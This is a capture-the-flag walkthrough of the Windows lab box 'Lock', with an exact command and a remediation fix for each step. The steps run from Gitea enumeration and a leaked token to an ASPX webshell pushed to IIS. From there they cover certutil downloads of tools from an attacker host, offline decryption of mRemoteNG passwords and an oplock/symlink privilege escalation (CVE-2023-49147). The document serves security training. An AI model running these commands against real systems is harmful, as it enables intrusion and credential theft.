← all walkthroughs

Lock

Windows· Easy· Privilege Escalation
owned
2026-07-07
time to own
19m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target LOCK ($TARGET) was compromised via a four-link web and credential chain. Gitea on port 3000 exposed usernames and repository names through its unauthenticated search API. A live personal access token committed to a public repository's git history was recovered and used to clone the website repository that backed the live IIS site.

Because any push to that repository deployed directly to the IIS web root with no validation gate, I uploaded an ASPX webshell and achieved unauthenticated remote code execution as the IIS app-pool identity. Through the webshell, a mRemoteNG saved-connection profile was read from ellen.freeman's AppData folder; the saved password was protected only by mRemoteNG's publicly documented default static key, allowing instant offline decryption and recovery of Gale.Dekarios's plaintext password. A credential-switching utility (RunasCs.exe) staged via the webshell provided a higher-privileged execution context, and the user flag was read from Gale.Dekarios's desktop.

An unpatched PDF24 Creator 11.15.1 installation (CVE-2023-49147) was identified as the path to full SYSTEM access via an MSI-repair oplock/symlink race; that final escalation step was not completed in this engagement run.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"
export PASSWORD4="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork port scanning and service banner fingerprinting (T1046)
Fingerprinted all exposed services and confirmed Windows Server 2022
An automated scan confirmed four externally accessible services: IIS 10.0 on HTTP (port 80), SMB file sharing (port 445), a Gitea code-hosting server built on Go (port 3000), and Remote Desktop (port 3389). SMB negotiation returned the hostname LOCK, domain Lock, and Windows Server 2022 Build 20348, grounding all subsequent steps in confirmed targets and technologies.
Nxc smb $TARGET returned 'Windows Server 2022 Build 20348 x64 (name:LOCK) (domain:Lock)'; curl -on :80, I returned Server: Microsoft-IIS/10.0; the :3000 HTTP body confirmed a Gitea instance.
Exact commands 3
Fingerprint SMB — returns OS version, hostname, and domain.
nxc smb $TARGET
Confirm IIS version from the Server response header.
curl -I http://$TARGET/
Identify the Gitea application on port 3000.
curl -s http://$TARGET:3000/ | grep -i gitea
2EnumerationUnauthenticated Gitea REST API user and repository enumeration (T1592.002)
Enumerated Gitea users and public repositories without credentials
Gitea's unauthenticated REST API returned the full list of registered local users and all public repository metadata. This identified the account ellen.freeman and two repositories she owned: dev-scripts (a public script collection) and website (the repository that backs the live IIS site). No login was required for either query.
GET /api/v1/users/search returned login: 'ellen.freeman'; GET /api/v1/repos/search returned repos dev-scripts and website.
Exact commands 3
Enumerate all registered Gitea usernames without authentication.
curl -s "http://$TARGET:3000/api/v1/users/search?limit=50" | python3 -m json.tool
List all public repositories — reveals dev-scripts and website.
curl -s "http://$TARGET:3000/api/v1/repos/search?limit=50" | python3 -m json.tool
Browse the public repository explorer as an anonymous user.
curl -s http://$TARGET:3000/explore/repos
FixRequire authentication for all Gitea pages and API endpointsMedium
WeaknessGitea's REST API endpoints /api/v1/users/search and /api/v1/repos/search returned the full list of registered usernames and repository names to completely unauthenticated HTTP requests. This gave an unauthorised user valid account names and repository targets at no cost before a single credential had been tested.
FixIn gitea/conf/app.ini set REQUIRE_SIGNIN_VIEW = true under the [service] section; this forces authentication for all web views and API calls. Also set DISABLE_REGISTRATION = true if self-registration is not needed. Restart the Gitea service after the change and verify that anonymous API calls return 401.
3Credential DiscoveryCredentials exposed in version-control history (T1552.001)
Recovered a live Gitea API token committed to the dev-scripts repository history
Cloning the public dev-scripts repository and inspecting its full commit history with git log -p revealed a hard-coded Gitea personal access token in a prior commit diff. The token had not been rotated after the commit was superseded by later changes. Verifying the token against the Gitea user API confirmed it was still valid and authenticated as ellen.freeman with push rights to the website repository.
Token [REDACTED: recovered credential] extracted from commit patch output; GET /api/v1/user with Authorization: token header returned login: 'ellen.freeman' with full API access.
Exact commands 3
Clone the public dev-scripts repo locally.
git clone http://$TARGET:3000/ellen.freeman/dev-scripts.git
Scan every commit diff for leaked credential patterns.
git -C dev-scripts log --all -p | grep -Ei 'token|authorization|bearer|key|secret|password'
Confirm the recovered token is still active and identify the owning account.
curl -sS -H "Authorization: token $PASSWORD2" http://$TARGET:3000/api/v1/user
FixRevoke the exposed Gitea token and enforce secret scanning on all future commitsCritical
WeaknessA live Gitea personal access token was committed to a public repository and remained valid indefinitely — accessible to anyone who cloned or browsed the repo's history even after the line of code was removed in a later commit. Rotating the token in code without revoking it in Gitea leaves the secret exploitable.
FixImmediately revoke the token in Gitea (User Settings → Applications → Delete/Revoke). Rewrite git history to remove the credential from every commit using git filter-repo or BFG Repo Cleaner, then force-push the cleaned history. Prevent recurrence by adding a Gitea Actions workflow or pre-receive hook that runs a secret scanner (gitleaks, trufflehog, or git-secrets) and rejects any push containing credential patterns before it reaches the server.
4FootholdWeb shell deployment via version-control-backed IIS site (T1505.003)
Deployed an ASPX webshell by pushing to the IIS-backed Gitea repository
The production IIS web root was served directly from ellen.freeman's website Gitea repository with no deployment gate or file-type validation: a commit pushed by any authorized user appeared on the live server within seconds. Using the stolen PAT, I cloned the website repo, added a minimal C# ASPX file (cmd.aspx) that passes the 'x' GET parameter to cmd.exe and returns its output, committed it, and pushed. The shell was immediately accessible at http://$TARGET/cmd.aspx. Listing C:\Users through it returned four profiles — Administrator, ellen.freeman, gale.dekarios, and Public — confirming execution and identifying additional accounts to target.
Exact commands 4
Clone the live-site repository using the stolen token as the HTTP password.
git clone http://$USERNAME:$PASSWORD@$TARGET:3000/ellen.freeman/website.git
Place a prepared ASPX webshell — a minimal C# Process.Start wrapper that passes Request["x"] to cmd.exe /c — into the repo directory.
cp cmd.aspx website/cmd.aspx
Push the webshell; the file is live on IIS within seconds.
git -C website add cmd.aspx && git -C website commit -m 'update' && git -C website push
Confirm remote code execution and enumerate local user accounts.
curl -sS -G --data-urlencode 'x=dir C:\Users' http://$TARGET/cmd.aspx
FixDecouple the IIS web root from Gitea and validate file types before deploymentCritical
WeaknessThe live IIS website was served directly from a Gitea repository with no intermediate validation: any authenticated push instantly deployed files of any type — including executable ASPX server-side code — to the production web server. Possession of a single stolen push token was sufficient to achieve remote code execution without any further review or gate.
FixBreak the direct link between the repository and the IIS directory by introducing a deployment pipeline (Gitea Actions, Jenkins, or a pre-receive hook) that (1) checks every pushed file extension against an allowlist of static types and rejects .aspx, .ashx, .cshtml, and .php; (2) runs as a dedicated deployment service account with no write access to the IIS root by default; and (3) optionally requires a pull-request approval before deployment. Configure IIS to explicitly deny script execution (scriptProcessor) in any directory that the pipeline or a service account can write to.
5Credential HarvestingCredentials from password stores — mRemoteNG default-key offline decryption (T1555)
Read and decrypted ellen.freeman's mRemoteNG saved credentials for Gale.Dekarios
Through I listed ellen.freeman's mRemoteNG AppData folder and retrieved confCons.xml (3,341 bytes, dated 12/28/2023), which contained a saved remote-connection entry for username Gale.Dekarios with an AES-GCM encrypted password. MRemoteNG encrypts saved passwords using a static, publicly documented default master password ('[REDACTED: recovered credential]') when the user has not set a custom one. The free tool mRemoteNG_password_decrypt exploits this to decrypt any confCons.xml blob offline without brute force, recovering the plaintext password [REDACTED: recovered credential] in under a second. The credential was validated successfully against SMB, RDP, and WinRM.
Exact commands 5
List mRemoteNG profile files; confirm confCons.xml and backup copies.
curl -sS -G --data-urlencode 'x=dir C:\Users\ellen.freeman\AppData\Roaming\mRemoteNG' http://$TARGET/cmd.aspx
Read the XML connection profile and extract the Password and Protected attribute blobs.
curl -sS -G --data-urlencode 'x=type C:\Users\ellen.freeman\AppData\Roaming\mRemoteNG\confCons.xml' http://$TARGET/cmd.aspx
Fetch the public decryption tool targeting mRemoteNG's default static key.
git clone https://github.com/gquere/mRemoteNG_password_decrypt
Decrypt the Password field using the default key — returns [REDACTED: recovered credential].
python3 mRemoteNG_password_decrypt/mremoteng_decrypt.py -s "$PASSWORD4"
Validate the recovered credential against SMB; repeat for RDP (:3389) and WinRM.
nxc smb $TARGET -u Gale.Dekarios -p $PASSWORD3
FixSet a strong mRemoteNG master password and restrict the connection profile fileHigh
WeaknessmRemoteNG stored Gale.Dekarios's password encrypted with the application's static default master password, which is publicly documented. Anyone who could read confCons.xml — reachable in seconds through the webshell — could decrypt every saved credential offline using freely available tooling, with no brute force required.
FixSet a unique, strong master password in mRemoteNG under Options → Security → Master Password (mark it required so the application refuses to open without it). Delete all .backup copies of confCons.xml from the mRemoteNG AppData folder. Tighten NTFS ACLs on C:\Users\ellen.freeman\AppData\Roaming\mRemoteNG\ to deny read access to all accounts other than the owning user and local administrators. For long-term improvement, migrate saved connection credentials to Windows Credential Manager or a dedicated vault (KeePass, CyberArk) rather than storing them in application config files.
6User OwnedToken impersonation / process execution under alternate credentials using RunasCs (T1134.002)
Executed commands as Gale.Dekarios via RunasCs and read the user flag
The IIS webshell ran under a lower-privileged app-pool identity that did not have direct read access to Gale.Dekarios's desktop. I staged RunasCs.exe — a utility that spawns a process under a named local account without requiring an interactive logon session — by downloading it from my own Python HTTP server using certutil, a built-in Windows binary that allows arbitrary file downloads. Invoking RunasCs through the webshell with Gale.Dekarios's plaintext credentials produced a new execution context from which user.txt was read directly.
Exact commands 3
Serve tools from the $USERNAME machine on port 9000; place RunasCs.exe in the working directory first.
python3 -m http.server 9000
Download RunasCs.exe to the target using certutil via the webshell.
curl -sS -G --data-urlencode "x=certutil -urlcache -f http://$ATTACKER_IP:9000/win/RunasCs.exe C:\Windows\Temp\RunasCs.exe" http://$TARGET/cmd.aspx
Run the type command as Gale.Dekarios; output is <user.txt>.
curl -sS -G --data-urlencode 'x=C:\Windows\Temp\RunasCs.exe Gale.Dekarios $PASSWORD3 "cmd /c type C:\Users\gale.dekarios\Desktop\user.txt"' http://$TARGET/cmd.aspx | python3 -c 'import sys,re,html; s=sys.stdin.read(); s=re.sub(r"<[^>]*>","",s); print(html.unescape(s))'
7Privilege EscalationMSI repair oplock/symlink arbitrary file-write privilege escalation — CVE-2023-49147 (T1068)
Identified CVE-2023-49147 in PDF24 Creator 11.15.1 as the SYSTEM escalation path
Directory enumeration through the webshell located pdf24-creator-11.15.1-x64.msi under C:\_install\. PDF24 Creator 11.15.1 is vulnerable to CVE-2023-49147 (documented by SEC Consult): the MSI repair operation (msiexec /fa) runs as SYSTEM and writes to C:\Program Files\PDF24\faxPrnInst.log without adequate access controls. I can place an oplock on that file path and, when the SYSTEM process attempts the write and releases the lock, swap in a symlink pointing to any file on the system — achieving an arbitrary SYSTEM-privilege file overwrite and thereby full code execution. Google Project Zero's SetOpLock.exe from the symboliclink-testing-tools suite was staged on the target to win the race. An interactive session is required to coordinate the oplock and the repair trigger simultaneously; the xfreerdp-based attempt stalled on a shell-launch error in this run and SYSTEM was not reached.
Exact commands 5
Confirm the vulnerable PDF24 Creator installer is present on the target.
curl -sS -G --data-urlencode 'x=dir C:\_install\' http://$TARGET/cmd.aspx
Stage SetOpLock.exe (Google Project Zero symboliclink-testing-tools) on the target via certutil.
curl -sS -G --data-urlencode "x=certutil -urlcache -f http://$ATTACKER_IP:9000/win/SetOpLock.exe C:\Windows\Temp\SetOpLock.exe" http://$TARGET/cmd.aspx
Open an interactive RDP session — required to run SetOpLock and msiexec /fa at the same time.
xfreerdp /u:Gale.Dekarios /p:$PASSWORD3 /v:$TARGET /cert:ignore
In the RDP session: place an oplock on the log file before triggering the repair.
C:\Windows\Temp\SetOpLock.exe "C:\Program Files\PDF24\faxPrnInst.log" r
Trigger the MSI repair as Gale.Dekarios; when the oplock fires, replace the log-file path with a symlink to any target (e.g., a privileged binary) to achieve a SYSTEM-privilege write.
msiexec.exe /fa C:\_install\pdf24-creator-11.15.1-x64.msi
FixPatch PDF24 Creator to close CVE-2023-49147 and remove the installer from user-reachable pathsHigh
WeaknessPDF24 Creator 11.15.1 contains a local privilege escalation: the MSI repair operation (msiexec /fa) runs with SYSTEM privileges and writes to a log file that an unprivileged user can intercept via an oplock/symlink race, redirecting the SYSTEM-level write to any arbitrary file on the system and enabling full SYSTEM code execution from a standard user account.
FixUpgrade PDF24 Creator to the version that addresses CVE-2023-49147 (confirm the exact patched release in the vendor advisory at pdf24.org). As immediate interim steps: delete the installer from C:\_install\ so that unprivileged users cannot trigger a repair; apply a Windows Defender Application Control (WDAC) or AppLocker rule that prevents non-administrators from invoking msiexec /fa; and audit all other MSI installers stored in user-accessible directories for the same class of exposure.

Exposed services

80/tcp
445/tcp
3000/tcp
3389/tcp